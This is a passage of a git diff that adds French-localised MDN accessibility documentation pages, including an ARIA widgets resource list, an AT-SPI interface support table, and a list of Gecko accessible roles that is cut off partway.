4123 files changed, 535658 insertions, 0 deletions

diff --git a/files/fr/web/accessibility/aria/widgets/index.html b/files/fr/web/accessibility/aria/widgets/index.html
new file mode 100644
index 0000000000..b343f06bf7
--- /dev/null
+++ b/files/fr/web/accessibility/aria/widgets/index.html
@@ -0,0 +1,8 @@
+---
+title: widgets
+slug: Web/Accessibility/ARIA/widgets
+tags:
+  - Accessibility
+translation_of: Web/Accessibility/ARIA/widgets
+---
+<p>Cette page s'est auto-générée parce qu'un utilisateur a créé une sous-page à cette page.</p>
diff --git a/files/fr/web/accessibility/aria/widgets/overview/index.html b/files/fr/web/accessibility/aria/widgets/overview/index.html
new file mode 100644
index 0000000000..d951326193
--- /dev/null
+++ b/files/fr/web/accessibility/aria/widgets/overview/index.html
@@ -0,0 +1,78 @@
+---
+title: Vue d'ensemble
+slug: Web/Accessibility/ARIA/widgets/overview
+tags:
+  - Accessibility
+  - JavaScript
+  - Landing
+  - NeedsUpdate
+translation_of: Web/Accessibility/ARIA/widgets/overview
+---
+<div class="warning">Attention: besoin d'une mise à jour</div>
+
+<h2 id="Introduction_2"><span class="mw-headline" id="Introduction">Introduction</span></h2>
+
+<p>Voici un aperçu de quelques exemples concrets et de bonnes pratiques pour la création de contrôles DHTML (<em>widgets</em>) JavaScript.</p>
+
+<h2 id="Ressources_générales"><span class="mw-headline" id="General_Resources">Ressources</span> générales</h2>
+
+<ul>
+ <li><a class="external text" href="http://dev.aol.com/dhtml_style_guide" rel="nofollow">Le guide du style DHTML</a> fournit des recommandations d'interaction clavier</li>
+ <li><a class="external text" href="http://www.w3.org/wai/pf/aria-practices" rel="nofollow">Guide pour les auteurs WAI-ARIA</a></li>
+</ul>
+
+<h2 id="Case_(checkbox)">Case (checkbox)</h2>
+
+<ul>
+ <li><a class="external text" href="http://www.paciellogroup.com/blog/?p=53" rel="nofollow">Exemples de boutons radio ARIA et case à trois états</a> (tiré du blog "The Paciello Group")</li>
+ <li><a class="external text" href="http://test.cita.uiuc.edu/aria/checkbox" rel="nofollow">Exemple de case de contrôle ARIA de l'Université d'Illinois</a></li>
+</ul>
+
+<h2 id="Menu_2"><span class="mw-headline" id="Menu">Menu</span></h2>
+
+<ul>
+ <li><a class="external text" href="http://yuiblog.com/blog/2007/12/21/menu-waiaria/" rel="nofollow">Utiliser les rôles &amp; états WAI-ARIA avec le menu de contrôle YUI</a></li>
+</ul>
+
+<h2 id="Glissière_(slider)"><span class="mw-headline" id="Slider">Glissière (slider</span>)</h2>
+
+<ul>
+ <li>Tiré du blog Paciello Group : glissière ARIA, <a class="external text" href="http://www.paciellogroup.com/blog/?p=68" rel="nofollow">partie une</a>, <a class="external text" href="http://www.paciellogroup.com/blog/?p=69" rel="nofollow">partie deux</a>, <a class="external text" href="http://www.paciellogroup.com/blog/?p=76" rel="nofollow">partie trois</a> (<a class="external text" href="http://www.paciellogroup.com/blog/misc/ARIA/slider/" rel="nofollow">exemple</a>)</li>
+ <li><a class="external text" href="http://mindtrove.info/articles/creating-an-accessible-internationalized-dojo-rating-widget/" rel="nofollow">Créer un contrôle d'évaluation (rating widget) Dojo accessible et internationalisé</a></li>
+</ul>
+
+<h2 id="Onglets_(tabs)">Onglets (tabs)</h2>
+
+<ul>
+ <li><a class="external text" href="http://yuiblog.com/blog/2008/07/30/tabview-aria/" rel="nofollow">Améliorer l'accessibilité de la TabView grâce aux rôles &amp; états WAI-ARIA</a>, tiré du blog YUI</li>
+ <li><a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/tabs" rel="nofollow">Améliorer les onglets UI jQuery selon WCAG 2.0 et ARIA</a></li>
+ <li><a class="external text" href="http://codetalks.org/source/widgets/tabpanel/tabpanel1.html" rel="nofollow">Exemple de panneau à onglet sur CodeTalks</a></li>
+</ul>
+
+<h2 id="Combobox_2"><span class="mw-headline" id="Combobox">Combobox</span></h2>
+
+<ul>
+ <li><a class="external text" href="http://www.protofunc.com/scripts/jquery/select/" rel="nofollow">Combobox simple (non éditable) comme remplacement de selectbox</a></li>
+</ul>
+
+<h2 id="Lightbox_2"><span class="mw-headline" id="Lightbox">Lightbox</span></h2>
+
+<ul>
+ <li><a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/lightbox" rel="nofollow">Application lightbox</a> <a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/table" rel="nofollow">conforme</a> à <a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/lightbox" rel="nofollow">WCAG 2.0 et ARIA</a></li>
+ <li><a class="external free" href="http://majx-js.digissime.net/js/popin/" rel="nofollow">http://majx-js.digissime.net/js/popin/</a></li>
+</ul>
+
+<h2 id="Validation_de_formulaire"><span class="mw-headline" id="Form_Validation">Validation</span> de formulaire</h2>
+
+<ul>
+ <li><a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/formular" rel="nofollow">Validation de formulaire en direct conforme à WCAG 2.0 et ARIA</a></li>
+</ul>
+
+<h2 id="Tables"><span class="mw-headline" id="Table">Tables</span></h2>
+
+<ul>
+ <li><a class="external text" href="http://www.einfach-fuer-alle.de/artikel/barrierefreie-formulare-mit-html-css-und-javascript/" rel="nofollow">Tutoriel en allemand sur la création de formulaire accessible</a></li>
+ <li><a class="external text" href="http://codetalks.org/source/widgets/grid/grid.sample.html" rel="nofollow">Exemple simple de grille sur CodeTalks</a></li>
+ <li><a class="external text" href="http://codetalks.org/source/widgets/datepicker/datepicker.sample.html" rel="nofollow">Grille de sélection de date sur CodeTalks</a></li>
+ <li><a class="external text" href="http://wiki.github.com/fnagel/jQuery-Accessible-RIA/table" rel="nofollow">Tables triables conformes à WCAG 2.0 et ARIA</a></li>
+</ul>
diff --git a/files/fr/web/accessibility/at-apis/at-spi/index.html b/files/fr/web/accessibility/at-apis/at-spi/index.html
new file mode 100644
index 0000000000..d8aa1d4763
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/at-spi/index.html
@@ -0,0 +1,9 @@
+---
+title: AT-SPI
+slug: Web/Accessibility/AT-APIs/AT-SPI
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/AT-SPI
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/fr/web/accessibility/at-apis/at-spi/interfaces_at-spi_prises_en_charge/index.html b/files/fr/web/accessibility/at-apis/at-spi/interfaces_at-spi_prises_en_charge/index.html
new file mode 100644
index 0000000000..49a3682b84
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/at-spi/interfaces_at-spi_prises_en_charge/index.html
@@ -0,0 +1,136 @@
+---
+title: Interfaces AT-SPI prises en charge
+slug: Web/Accessibility/AT-APIs/AT-SPI/Interfaces_AT-SPI_prises_en_charge
+tags:
+  - API
+  - AT_APIs
+  - AT_SPI
+  - Accessibilité
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/AT-SPI/Interfaces
+---
+<table style="">
+ <tbody>
+  <tr>
+   <th>Interface</th>
+   <th>Prise en charge</th>
+   <th>Notes</th>
+  </tr>
+  <tr>
+   <td>Accessible</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#Attributs_objet_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility_AT-SPI_Support#Supported_AT-SPI_Object_Attributes">attributs objets</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Action</td>
+   <td>Oui</td>
+   <td>Toutes les méthodes</td>
+  </tr>
+  <tr>
+   <td>Application</td>
+   <td>Oui</td>
+   <td>Toutes les méthodes</td>
+  </tr>
+  <tr>
+   <td>Component</td>
+   <td>Oui</td>
+   <td>Toutes les méthodes</td>
+  </tr>
+  <tr>
+   <td>Desktop</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Document</td>
+   <td>Oui</td>
+   <td>Toutes les méthodes ?</td>
+  </tr>
+  <tr>
+   <td>EditableText</td>
+   <td>Oui</td>
+   <td>Toutes les méthodes</td>
+  </tr>
+  <tr>
+   <td>Event</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#Événement_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility_AT-SPI_Support#Supported_AT-SPI_Events">événements</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Hyperlink</td>
+   <td>Oui</td>
+   <td>N’importe quel objet inclus dans un texte est considéré comme un hyperlien !</td>
+  </tr>
+  <tr>
+   <td>Hypertext</td>
+   <td>Oui</td>
+   <td>N’importe quel texte comportant un objet est considéré comme un hyperlien !</td>
+  </tr>
+  <tr>
+   <td>Image</td>
+   <td>Non</td>
+   <td>ROLE_IMAGE est pris en charge et cela suffit</td>
+  </tr>
+  <tr>
+   <td>LoginHelper</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>Registry</td>
+   <td>Non ?</td>
+  </tr>
+  <tr>
+   <td>Relation</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#Relations_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility_AT-SPI_Support#Supported_AT-SPI_Relations">relations</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Role</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#Rôles_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility/AT-SPI_Support#Supported_AT-SPI_Roles">rôles</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Selection</td>
+   <td>Oui</td>
+   <td>Pas encore pris en charge pour le texte</td>
+  </tr>
+  <tr>
+   <td>Selector</td>
+   <td>Non</td>
+  </tr>
+  <tr>
+   <td>State</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#États_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility/AT-SPI_Support#Supported_AT-SPI_States">états</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>StreamableContent</td>
+   <td>Non</td>
+   <td>Peut s’appliquer aux greffons, mais probablement pas aux objets rendus par Gecko</td>
+  </tr>
+  <tr>
+   <td>Table</td>
+   <td>Oui</td>
+   <td>De plus, l’objet se voit attribuer <code>layout-guess="true"</code> quand Gecko pense que le tableau est pour un layout et non pour des données</td>
+  </tr>
+  <tr>
+   <td>Text</td>
+   <td>Oui</td>
+   <td>
+    <p>Voir les <a href="/fr/docs/Accessibilité_prise_en_charge_AT-SPI#Attributs_texte_AT-SPI_pris_en_charge" title="/en-US/docs/Accessibility_AT-SPI_Support#Supported_AT-SPI_Text_Attributes">attributs de texte</a> pris en charge</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Value</td>
+   <td>Oui</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/accessibility/at-apis/gecko/index.html b/files/fr/web/accessibility/at-apis/gecko/index.html
new file mode 100644
index 0000000000..9cd605e79d
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/gecko/index.html
@@ -0,0 +1,9 @@
+---
+title: Gecko
+slug: Web/Accessibility/AT-APIs/Gecko
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko
+---
+{{wiki.localize('System.API.page-generated-for-subpage')}}
diff --git a/files/fr/web/accessibility/at-apis/gecko/roles/index.html b/files/fr/web/accessibility/at-apis/gecko/roles/index.html
new file mode 100644
index 0000000000..7aac23cef2
--- /dev/null
+++ b/files/fr/web/accessibility/at-apis/gecko/roles/index.html
@@ -0,0 +1,736 @@
+---
+title: Rôles Gecko
+slug: Web/Accessibility/AT-APIs/Gecko/Roles
+tags:
+  - AT_APIs
+  - Accessibilité
+  - NeedsTranslation
+  - Reference
+translation_of: Mozilla/Tech/Accessibility/AT-APIs/Gecko/Roles
+---
+<p><a href="/fr/docs/Accessibility:AT-APIs#Supported_Roles">« AT APIs Support Page</a></p>
+<p><span class="seoSummary">This page offers a list of accessible roles used in Gecko. Role constants are defined in the <code><a href="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIAccessibleRole" title="">nsIAccessibleRole</a></code> interface.</span></p>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_NOTHING">ROLE_NOTHING</a></code></dt>
+ <dd>
+  Used when the accessible item doesn't have a strongly defined role.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TITLEBAR">ROLE_TITLEBAR</a></code></dt>
+ <dd>
+  Represents a title or caption bar for a window. Used by MSAA only, this is supported automatically by Microsoft Windows.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUBAR">ROLE_MENUBAR</a></code></dt>
+ <dd>
+  Represents the menu bar (positioned beneath the title bar of a window on most platforms or at the top of the screen on Mac OS X) from which menus are selected by the user.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SCROLLBAR">ROLE_SCROLLBAR</a></code></dt>
+ <dd>
+  Represents a vertical or horizontal scroll bar, which is part of the client area or used in a control.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRIP">ROLE_GRIP</a></code></dt>
+ <dd>
+  Represents a special mouse pointer, which allows a user to manipulate user interface elements such as windows. For example, a user clicks and drags a sizing grip in the lower-right corner of a window to resize it</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SOUND">ROLE_SOUND</a></code></dt>
+ <dd>
+  Represents a system sound, which is associated with various system events.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CURSOR">ROLE_CURSOR</a></code></dt>
+ <dd>
+  Represents the system mouse pointer.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CARET">ROLE_CARET</a></code></dt>
+ <dd>
+  Represents the system caret.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ALERT">ROLE_ALERT</a></code></dt>
+ <dd>
+  Represents an alert or a condition that a user should be notified about. Assistive Technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. Should be used for warning dialogs, etc.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WINDOW">ROLE_WINDOW</a></code></dt>
+ <dd>
+  Represents the window frame, which contains child objects such as a title bar, client, and other objects contained in a window. The role is supported automatically by Microsoft Windows.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INTERNAL_FRAME">ROLE_INTERNAL_FRAME</a></code></dt>
+ <dd>
+  A sub-document.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUPOPUP">ROLE_MENUPOPUP</a></code></dt>
+ <dd>
+  Represents a menu, which presents a list of options from which the user can make a selection to perform an action.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_MENUITEM">ROLE_MENUITEM</a></code></dt>
+ <dd>
+  Represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLTIP">ROLE_TOOLTIP</a></code></dt>
+ <dd>
+  Represents a tooltip that provides helpful hints; this is generally displayed at the mouse cursor position.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_APPLICATION">ROLE_APPLICATION</a></code></dt>
+ <dd>
+  Represents a main window for an application.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DOCUMENT">ROLE_DOCUMENT</a></code></dt>
+ <dd>
+  Represents a document window. A document window is always contained within an application window.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PANE">ROLE_PANE</a></code></dt>
+ <dd>
+  Represents a pane within a frame or document window. Users can navigate between panes and within the contents of the current pane, but cannot navigate between items in different panes. Thus, panes represent a level of grouping lower than frame windows or documents, but above individual controls.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHART">ROLE_CHART</a></code></dt>
+ <dd>
+  Represents a graphical image used to represent data.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIALOG">ROLE_DIALOG</a></code></dt>
+ <dd>
+  Represents a dialog box or message box.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BORDER">ROLE_BORDER</a></code></dt>
+ <dd>
+  Represents a window border.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GROUPING">ROLE_GROUPING</a></code></dt>
+ <dd>
+  Logically groups other objects.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SEPARATOR">ROLE_SEPARATOR</a></code></dt>
+ <dd>
+  Used to visually divide a space into two regions, such as a separator menu item or a bar that divides split panes within a window.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TOOLBAR">ROLE_TOOLBAR</a></code></dt>
+ <dd>
+  Represents a toolbar, which is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATUSBAR">ROLE_STATUSBAR</a></code></dt>
+ <dd>
+  Represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. The status bar has multiple fields, which display different kinds of information.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TABLE">ROLE_TABLE</a></code></dt>
+ <dd>
+  Represents a table that contains rows and columns of cells, and optionally, row headers and column headers.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMNHEADER">ROLE_COLUMNHEADER</a></code></dt>
+ <dd>
+  Represents a column header, providing a visual label for a column in a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROWHEADER">ROLE_ROWHEADER</a></code></dt>
+ <dd>
+  Represents a row header, which provides a visual label for a table row.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COLUMN">ROLE_COLUMN</a></code></dt>
+ <dd>
+  Represents a column of cells within a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ROW">ROLE_ROW</a></code></dt>
+ <dd>
+  Represents a row of cells within a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CELL">ROLE_CELL</a></code></dt>
+ <dd>
+  Represents a cell within a table.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LINK">ROLE_LINK</a></code></dt>
+ <dd>
+  Represents a link to something else. This object might look like text or a graphic, but it acts like a button.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HELPBALLOON">ROLE_HELPBALLOON</a></code></dt>
+ <dd>
+  Displays a Help topic in the form of a ToolTip or Help balloon.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHARACTER">ROLE_CHARACTER</a></code></dt>
+ <dd>
+  Represents a cartoon-like graphic object, such as Microsoft Office Assistant, which is displayed to provide help to users of an application.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LIST">ROLE_LIST</a></code></dt>
+ <dd>
+  Represents a list box, allowing the user to select one or more items.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_LISTITEM">ROLE_LISTITEM</a></code></dt>
+ <dd>
+  Represents an item in a list.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINE">ROLE_OUTLINE</a></code></dt>
+ <dd>
+  Represents an outline or tree structure, such as a tree view control, that displays a hierarchical list and allows the user to expand and collapse branches.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_OUTLINEITEM">ROLE_OUTLINEITEM</a></code></dt>
+ <dd>
+  Represents an item in an outline or tree structure.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETAB">ROLE_PAGETAB</a></code></dt>
+ <dd>
+  Represents a page tab, it is a child of a page tab list.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROPERTYPAGE">ROLE_PROPERTYPAGE</a></code></dt>
+ <dd>
+  Represents a property sheet.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_INDICATOR">ROLE_INDICATOR</a></code></dt>
+ <dd>
+  Represents an indicator, such as a pointer graphic, that points to the current item.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_GRAPHIC">ROLE_GRAPHIC</a></code></dt>
+ <dd>
+  Represents a picture.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_STATICTEXT">ROLE_STATICTEXT</a></code></dt>
+ <dd>
+  Represents read-only text, such as labels for other controls or instructions in a dialog box. Static text cannot be modified or selected.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_TEXT_LEAF">ROLE_TEXT_LEAF</a></code></dt>
+ <dd>
+  Represents selectable text that allows edits or is designated read-only.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PUSHBUTTON">ROLE_PUSHBUTTON</a></code></dt>
+ <dd>
+  Represents a push button control.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CHECKBUTTON">ROLE_CHECKBUTTON</a></code></dt>
+ <dd>
+  Represents a check box control.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_RADIOBUTTON">ROLE_RADIOBUTTON</a></code></dt>
+ <dd>
+  Represents an option button, also called a radio button. It is one of a group of mutually exclusive options. All objects sharing a single parent that have this attribute are assumed to be part of single mutually exclusive group.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_COMBOBOX">ROLE_COMBOBOX</a></code></dt>
+ <dd>
+  Represents a combo box; an edit control with an associated list box that provides a set of predefined choices.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DROPLIST">ROLE_DROPLIST</a></code></dt>
+ <dd>
+  Represents the calendar control.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PROGRESSBAR">ROLE_PROGRESSBAR</a></code></dt>
+ <dd>
+  Represents a progress bar, dynamically showing the user the percent complete of an operation in progress.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAL">ROLE_DIAL</a></code></dt>
+ <dd>
+  Represents a dial or knob whose purpose is to allow a user to set a value.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_HOTKEYFIELD">ROLE_HOTKEYFIELD</a></code></dt>
+ <dd>
+  Represents a hot-key field that allows the user to enter a combination or sequence of keystrokes.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SLIDER">ROLE_SLIDER</a></code></dt>
+ <dd>
+  Represents a slider, which allows the user to adjust a setting in given increments between minimum and maximum values.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPINBUTTON">ROLE_SPINBUTTON</a></code></dt>
+ <dd>
+  Represents a spin box, which is a control that allows the user to increment or decrement the value displayed in a separate "buddy" control associated with the spin box.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_DIAGRAM">ROLE_DIAGRAM</a></code></dt>
+ <dd>
+  Represents a graphical image used to diagram data.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ANIMATION">ROLE_ANIMATION</a></code></dt>
+ <dd>
+  Represents an animation control, which contains content that changes over time, such as a control that displays a series of bitmap frames.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_EQUATION">ROLE_EQUATION</a></code></dt>
+ <dd>
+  Represents a mathematical equation. It is used by MATHML.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWN">ROLE_BUTTONDROPDOWN</a></code></dt>
+ <dd>
+  Represents a button that drops down a list of items.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONMENU">ROLE_BUTTONMENU</a></code></dt>
+ <dd>
+  Represents a button that drops down a menu.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_BUTTONDROPDOWNGRID">ROLE_BUTTONDROPDOWNGRID</a></code></dt>
+ <dd>
+  Represents a button that drops down a grid.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_WHITESPACE">ROLE_WHITESPACE</a></code></dt>
+ <dd>
+  Represents blank space between other objects.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_PAGETABLIST">ROLE_PAGETABLIST</a></code></dt>
+ <dd>
+  Represents a container of page tab controls.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_CLOCK">ROLE_CLOCK</a></code></dt>
+ <dd>
+  Represents a control that displays time.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_SPLITBUTTON">ROLE_SPLITBUTTON</a></code></dt>
+ <dd>
+  Represents a button on a toolbar that has a drop-down list icon directly adjacent to the button.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_IPADDRESS">ROLE_IPADDRESS</a></code></dt>
+ <dd>
+  Represents an edit control designed for an Internet Protocol (IP) address. The edit control is divided into sections for the different parts of the IP address.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ACCEL_LABEL">ROLE_ACCEL_LABEL</a></code></dt>
+ <dd>
+  Represents a label control that has an accelerator.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="/fr/docs/Web/Accessibility/AT-APIs/Gecko/Roles/ROLE_ARROW">ROLE_ARROW</a></code></dt>
+ <dd>
+  Represents an arrow in one of the four cardinal directions.</dd>
+</dl>
+<dl>
+ <dt>
